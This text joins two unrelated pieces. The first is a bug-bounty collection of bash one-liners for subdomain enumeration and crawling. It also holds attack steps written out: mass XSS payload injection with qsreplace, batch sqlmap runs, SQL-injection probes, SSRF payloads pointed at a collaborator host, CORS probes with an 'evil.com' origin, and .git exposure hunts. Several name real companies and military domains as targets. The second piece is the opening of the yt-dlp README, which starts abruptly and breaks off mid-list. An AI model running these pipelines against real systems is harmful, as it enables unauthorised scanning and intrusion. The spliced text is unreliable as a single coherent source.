curl -s "[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew
}
```
### Oneliner Haklistgen
- @hakluke
```bash
subfinder -silent -d domain | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url --insecure | haklistgen | anew wordlist.txt; done
cat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt;
```
### Running JavaScript on each page send to proxy.
- [Explained command]
```bash
cat 200http | page-fetch --javascript '[...document.querySelectorAll("a")].map(n => n.href)' --proxy http://192.168.15.47:8080
```
### Running cariddi to Crawler
- [Explained command]
```bash
echo tesla.com | subfinder -silent | httpx -silent | cariddi -intensive
```
### Dalfox scan to bugbounty targets.
- [Explained command]
```bash
xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer'
```
### Dalfox scan to bugbounty targets.
- [Explained command]
```bash
wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
```
### Using x8 to Hidden parameters discovery
- [Explaining command]
```bash
assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate'
```
### Extract .js Subdomains
- [Explaining command]
```bash
echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS
echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1
```
### goop to search .git files.
- [Explaining command]
```bash
xargs -a xss -P10 -I@ sh -c 'goop @'
```
### Using chaos list to enumerate endpoint
```bash
curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @'
```
### Using Wingman to search XSS reflect / DOM XSS
- [Explaining command]
```bash
xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify'
```
### Search ASN to metabigor and resolvers domain
- [Explaining command]
```bash
echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew'
```
### OneLiners
### Search .json gospider filter anti-burl
- [Explaining command]
```bash
gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl
```
### Search .json subdomain
- [Explaining command]
```bash
assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew
```
### SonarDNS extract subdomains
- [Explaining command]
```bash
wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar
```
### Kxss to search param XSS
- [Explaining command]
```bash
echo http://testphp.vulnweb.com/ | waybackurls | kxss
```
### Recon subdomains and gau to search vuls DalFox
- [Explaining command]
```bash
assetfinder testphp.vulnweb.com | gau | dalfox pipe
```
### Recon subdomains and Screenshot to URL using gowitness
- [Explaining command]
```bash
assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @'
```
### Extract urls to source code comments
- [Explaining command]
```bash
cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]'
```
### Axiom recon "complete"
- [Explaining command]
```bash
findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u
```
### Domain subdomain extraction
- [Explaining command]
```bash
cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain'
```
### Search .js using
- [Explaining command]
```bash
assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew
```
### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below.
- [Explaining command]
```bash
cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS'
```
### My recon automation simple. OFJAAAH.sh
- [Explaining command]
```bash
chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1
```
### Download all domains to bounty chaos
- [Explaining command]
```bash
curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH'
```
### Recon to search SSRF Test
- [Explaining command]
```bash
findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net
```
### ShuffleDNS to domains in file scan nuclei.
- [Explaining command]
```bash
xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1
```
### Search Asn Amass
- [Explaining command]
Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me)
```bash
amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500''
```
### SQLINJECTION Mass domain file
- [Explaining command]
```bash
httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'
```
### Using chaos search js
- [Explaining command]
Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com".
```bash
chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#]
```
### Search Subdomain using Gospider
- [Explaining command]
GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS
```bash
gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew
```
### Using gospider to chaos
- [Explaining command]
GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input.
```bash
chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3'
```
### Using recon.dev and gospider crawler subdomains
- [Explaining command]
We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces
If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains.
Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls.
```bash
curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew
```
### PSQL - search subdomain using cert.sh
- [Explaining command]
Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs
```bash
psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew
```
### Search subdomains using github and httpx
- [Github-search]
Using python3 to search subdomains, httpx filter hosts by up status-code response (200)
```python
./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title
```
### Search SQLINJECTION using qsreplace search syntax error
- [Explained command]
```bash
grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n"
```
### Search subdomains using jldc
- [Explained command]
```bash
curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew
```
### Search subdomains in assetfinder using hakrawler spider to search links in content responses
- [Explained command]
```bash
assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla"
```
### Search subdomains in cert.sh
- [Explained command]
```bash
curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew
```
### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD
- [Explained command]
```bash
curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew
```
```bash
curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew
```
### Collect js files from hosts up by gospider
- [Explained command]
```bash
xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew'
```
### Subdomain search Bufferover resolving domain to httpx
- [Explained command]
```bash
curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew
```
### Using gargs to gospider search with parallel proccess
- [Gargs](https://github.com/brentp/gargs)
- [Explained command]
```bash
httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne
```
### Injection xss using qsreplace to urls filter to gospider
- [Explained command]
```bash
gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>'
```
### Extract URL's to apk
- [Explained command]
```bash
apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl"
```
### Chaos to Gospider
- [Explained command]
```bash
chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @
```
### Checking invalid certificate
- [Real script](https://bit.ly/2DhAwMo)
- [Script King](https://bit.ly/34Z0kIH)
```bash
xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx
```
### Using shodan & Nuclei
- [Explained command]
Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column.
httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates.
```bash
shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/
```
### Open Redirect test using gf.
- [Explained command]
echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates.
```bash
echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew
```
### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles".
- [Explained command]
```bash
shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @
```
### Using Chaos to jaeles "How did I find a critical today?.
- [Explained command]
To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates.
```bash
chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @
```
### Using shodan to jaeles
- [Explained command]
```bash
domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts
```
### Search to files using assetfinder and ffuf
- [Explained command]
```bash
assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"'
```
### HTTPX using new mode location and injection XSS using qsreplace.
- [Explained command]
```bash
httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "'
```
### Grap internal juicy paths and do requests to them.
- [Explained command]
```bash
export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length'
```
### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url.
- [Explained command]
```bash
wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew
```
### Using to findomain to SQLINJECTION.
- [Explained command]
```bash
findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1
```
### Jaeles scan to bugbounty targets.
- [Explained command]
```bash
wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @
```
### JLDC domain search subdomain, using rush and jaeles.
- [Explained command]
```bash
curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}'
```
### Chaos to search subdomains check cloudflareip scan port.
- [Explained command]
```bash
chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent
```
### Search JS to domains file.
- [Explained command]
```bash
cat FILE TO TARGET | httpx -silent | subjs | anew
```
### Search JS using assetfinder, rush and hakrawler.
- [Explained command]
```bash
assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal"
```
### Search to CORS using assetfinder and rush
- [Explained command]
```bash
assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"'
```
### Search to js using hakrawler and rush & unew
- [Explained command]
```bash
cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx'
```
### XARGS to dirsearch brute force.
- [Explained command]
```bash
cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js'
```
### Assetfinder to run massdns.
- [Explained command]
```bash
assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent
```
### Extract path to js
- [Explained command]
```bash
cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u
```
### Find subdomains and Secrets with jsubfinder
- [Explained command]
```bash
cat subdomsains.txt | httpx --silent | jsubfinder search -s
```
### Search domains to Range-IPS.
- [Explained command]
```bash
cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew
```
### Search new's domains using dnsgen.
- [Explained command]
```bash
xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain
```
### List ips, domain extract, using amass + wordlist
- [Explained command]
```bash
amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt
```
### Search domains using amass and search vul to nuclei.
- [Explained command]
```bash
amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30
```
### Verify to cert using openssl.
- [Explained command]
```bash
sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{
N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <(
openssl x509 -noout -text -in <(
openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \
-connect hackerone.com:443 ) )
```
### Search domains using openssl to cert.
- [Explained command]
```bash
xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew
```
### Search to Hackers.
- [Censys](https://censys.io)
- [Spyce](https://spyce.com)
- [Shodan](https://shodan.io)
- [Viz Grey](https://viz.greynoise.io)
- [Zoomeye](https://zoomeye.org)
- [Onyphe](https://onyphe.io)
- [Wigle](https://wigle.net)
- [Intelx](https://intelx.io)
- [Fofa](https://fofa.so)
- [Hunter](https://hunter.io)
- [Zorexeye](https://zorexeye.com)
- [Pulsedive](https://pulsedive.com)
- [Netograph](https://netograph.io)
- [Vigilante](https://vigilante.pw)
- [Pipl](https://pipl.com)
- [Abuse](https://abuse.ch)
- [Cert-sh](https://cert.sh)
- [Maltiverse](https://maltiverse.com/search)
- [Insecam](https://insecam.org)
- [Anubis](https://https://jldc.me/anubis/subdomains/att.com)
- [Dns Dumpster](https://dnsdumpster.com)
- [PhoneBook](https://phonebook.cz)
- [Inquest](https://labs.inquest.net)
- [Scylla](https://scylla.sh)
# Project
[](http://golang.org)
[](https://www.gnu.org/software/bash/)
[](https://github.com/Naereen/badges/)
[](https://t.me/KingOfTipsBugBounty)
<a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
|
<!-- MANPAGE: BEGIN EXCLUDED SECTION -->
<div align="center">
[](#readme)
[](#installation "Installation")
[](https://pypi.org/project/yt-dlp "PyPi")
[](Collaborators.md#collaborators "Donate")
[](https://matrix.to/#/#yt-dlp:matrix.org "Matrix")
[](https://discord.gg/H5MNcFW63r "Discord")
[](supportedsites.md "Supported Sites")
[](LICENSE "License")
[](https://github.com/yt-dlp/yt-dlp/actions "CI Status")
[](https://github.com/yt-dlp/yt-dlp/commits "Commit History")
[](https://github.com/yt-dlp/yt-dlp/pulse/monthly "Last activity")
</div>
<!-- MANPAGE: END EXCLUDED SECTION -->
yt-dlp is a [youtube-dl](https://github.com/ytdl-org/youtube-dl) fork based on the now inactive [youtube-dlc](https://github.com/blackjack4494/yt-dlc). The main focus of this project is adding new features and patches while also keeping up to date with the original project
<!-- MANPAGE: MOVE "USAGE AND OPTIONS" SECTION HERE -->
<!-- MANPAGE: BEGIN EXCLUDED SECTION -->
* [NEW FEATURES](#new-features)
* [Differences in default behavior](#differences-in-default-behavior)
* [INSTALLATION](#installation)
* [Detailed instructions](https://github.com/yt-dlp/yt-dlp/wiki/Installation)
* [Update](#update)
* [Release Files](#release-files)
* [Dependencies](#dependencies)
* [Compile](#compile)
* [USAGE AND OPTIONS](#usage-and-options)
* [General Options](#general-options)
* [Network Options](#network-options)
* [Geo-restriction](#geo-restriction)
* [Video Selection](#video-selection)
* [Download Options](#download-options)
* [Filesystem Options](#filesystem-options)
* [Thumbnail Options](#thumbnail-options)
* [Internet Shortcut Options](#internet-shortcut-options)
* [Verbosity and Simulation Options](#verbosity-and-simulation-options)
* [Workarounds](#workarounds)
* [Video Format Options](#video-format-options)
* [Subtitle Options](#subtitle-options)
* [Authentication Options](#authentication-options)
* [Post-processing Options](#post-processing-options)
* [SponsorBlock Options](#sponsorblock-options)
* [Extractor Options](#extractor-options)
* [CONFIGURATION](#configuration)
* [Configuration file encoding](#configuration-file-encoding)
* [Authentication with netrc](#authentication-with-netrc)
* [Notes about environment variables](#notes-about-environment-variables)
* [OUTPUT TEMPLATE](#output-template)
* [Output template examples](#output-template-examples)
* [FORMAT SELECTION](#format-selection)
* [Filtering Formats](#filtering-formats)
* [Sorting Formats](#sorting-formats)
* [Format Selection examples](#format-selection-examples)
* [MODIFYING METADATA](#modifying-metadata)
* [Modifying metadata examples](#modifying-metadata-examples)
* [EXTRACTOR ARGUMENTS](#extractor-arguments)
* [PLUGINS](#plugins)
* [Installing Plugins](#installing-plugins)
* [Developing Plugins](#developing-plugins)
* [EMBEDDING YT-DLP](#embedding-yt-dlp)
* [Embedding examples](#embedding-examples)
* [DEPRECATED OPTIONS](#deprecated-options)
* [CONTRIBUTING](CONTRIBUTING.md#contributing-to-yt-dlp)
* [Opening an Issue](CONTRIBUTING.md#opening-an-issue)
* [Developer Instructions](CONTRIBUTING.md#developer-instructions)
* [WIKI](https://github.com/yt-dlp/yt-dlp/wiki)
* [FAQ](https://github.com/yt-dlp/yt-dlp/wiki/FAQ)
<!-- MANPAGE: END EXCLUDED SECTION -->
# NEW FEATURES
* Forked from [**yt-dlc@f9401f2**](https://github.com/blackjack4494/yt-dlc/commit/f9401f2a91987068139c5f757b12fc711d4c0cee) and merged with [**youtube-dl@42f2d4**](https://github.com/ytdl-org/youtube-dl/commit/07af47960f3bb262ead02490ce65c8c45c01741e) ([exceptions](https://github.com/yt-dlp/yt-dlp/issues/21))
* **[SponsorBlock Integration](#sponsorblock-options)**: You can mark/remove sponsor sections in YouTube videos by utilizing the [SponsorBlock](https://sponsor.ajay.app) API
* **[Format Sorting](#sorting-formats)**: The default format sorting options have been changed so that higher resolution and better codecs will be now preferred instead of simply using larger bitrate. Furthermore, you can now specify the sort order using `-S`. This allows for much easier format selection than what is possible by simply using `--format` ([examples](#format-selection-examples))
* **Merged with animelover1984/youtube-dl**: You get most of the features and improvements from [animelover1984/youtube-dl](https://github.com/animelover1984/youtube-dl) including `--write-comments`, `BiliBiliSearch`, `BilibiliChannel`, Embedding thumbnail in mp4/ogg/opus, playlist infojson etc. Note that NicoNico livestreams are not available. See [#31](https://github.com/yt-dlp/yt-dlp/pull/31) for details.
* **YouTube improvements**:
* Supports Clips, Stories (`ytstories:<channel UCID>`), Search (including filters)**\***, YouTube Music Search, Channel-specific search, Search prefixes (`ytsearch:`, `ytsearchdate:`)**\***, Mixes, and Feeds (`:ytfav`, `:ytwatchlater`, `:ytsubs`, `:ythistory`, `:ytrec`, `:ytnotif`)
* Fix for [n-sig based throttling](https://github.com/ytdl-org/youtube-dl/issues/29326) **\***
* Supports some (but not all) age-gated content without cookies
* Download livestreams from the start using `--live-from-start` (*experimental*)
* `255kbps` audio is extracted (if available) from YouTube Music when premium cookies are given
* Channel URLs download all uploads of the channel, including shorts and live
* **Cookies from browser**: Cookies can be automatically extracted from all major web browsers using `--cookies-from-browser BROWSER[+KEYRING][:PROFILE][::CONTAINER]`
* **Download time range**: Videos can be downloaded partially based on either timestamps or chapters using `--download-sections`
* **Split video by chapters**: Videos can be split into multiple files based on chapters using `--split-chapters`
* **Multi-threaded fragment downloads**: Download multiple fragments of m3u8/mpd videos in parallel. Use `--concurrent-fragments` (`-N`) option to set the number of threads used
* **Aria2c with HLS/DASH**: You can use `aria2c` as the external downloader for DASH(mpd) and HLS(m3u8) formats
* **New and fixed extractors**: Many new extractors have been added and a lot of existing ones have been fixed. See the [changelog](Changelog.md) or the [list of supported sites](supportedsites.md)
* **New MSOs**: Philo, Spectrum, SlingTV, Cablevision, RCN etc.
* **Subtitle extraction from manifests**: Subtitles can be extracted from streaming media manifests. See [commit/be6202f](https://github.com/yt-dlp/yt-dlp/commit/be6202f12b97858b9d716e608394b51065d0419f) for details
* **Multiple paths and output templates**: You can give different [output templates](#output-template) and download paths for different types of files. You can also set a temporary path where intermediary files are downloaded to using `--paths` (`-P`)
* **Portable Configuration**: Configuration files are automatically loaded from the home and root directories. See [CONFIGURATION](#configuration) for details
* **Output template improvements**: Output templates can now have date-time formatting, numeric offsets, object traversal etc. See [output template](#output-template) for details. Even more advanced operations can also be done with the help of `--parse-metadata` and `--replace-in-metadata`
* **Other new options**: Many new options have been added such as `--alias`, `--print`, `--concat-playlist`, `--wait-for-video`, `--retry-sleep`, `--sleep-requests`, `--convert-thumbnails`, `--force-download-archive`, `--force-overwrites`, `--break-match-filter` etc
* **Improvements**: Regex and other operators in `--format`/`--match-filter`, multiple `--postprocessor-args` and `--downloader-args`, faster archive checking, more [format selection options](#format-selection), merge multi-video/audio, multiple `--config-locations`, `--exec` at different stages, etc
* **Plugins**: Extractors and PostProcessors can be loaded from an external file. See [plugins](#plugins) for details
* **Self updater**: The releases can be updated using `yt-dlp -U`, and downgraded using `--update-to` if required
* **Nightly builds**: [Automated nightly builds](#update-channels) can be used with `--update-to nightly`
See [changelog](Changelog.md) or [commits](https://github.com/yt-dlp/yt-dlp/commits) for the full list of changes
Features marked with a **\*** have been back-ported to youtube-dl
### Differences in default behavior
Some of yt-dlp's default options are different from that of youtube-dl and youtube-dlc:
* yt-dlp supports only [Python 3.7+](## "Windows 7"), and *may* remove support for more versions as they [become EOL](https://devguide.python.org/versions/#python-release-cycle); while [youtube-dl still supports Python 2.6+ and 3.2+](https://github.com/ytdl-org/youtube-dl/issues/30568#issue-1118238743)
* The options `--auto-number` (`-A`), `--title` (`-t`) and `--literal` (`-l`), no longer work. See [removed options](#Removed) for details
* `avconv` is not supported as an alternative to `ffmpeg`
* yt-dlp stores config files in slightly different locations to youtube-dl. See [CONFIGURATION](#configuration) for a list of correct locations
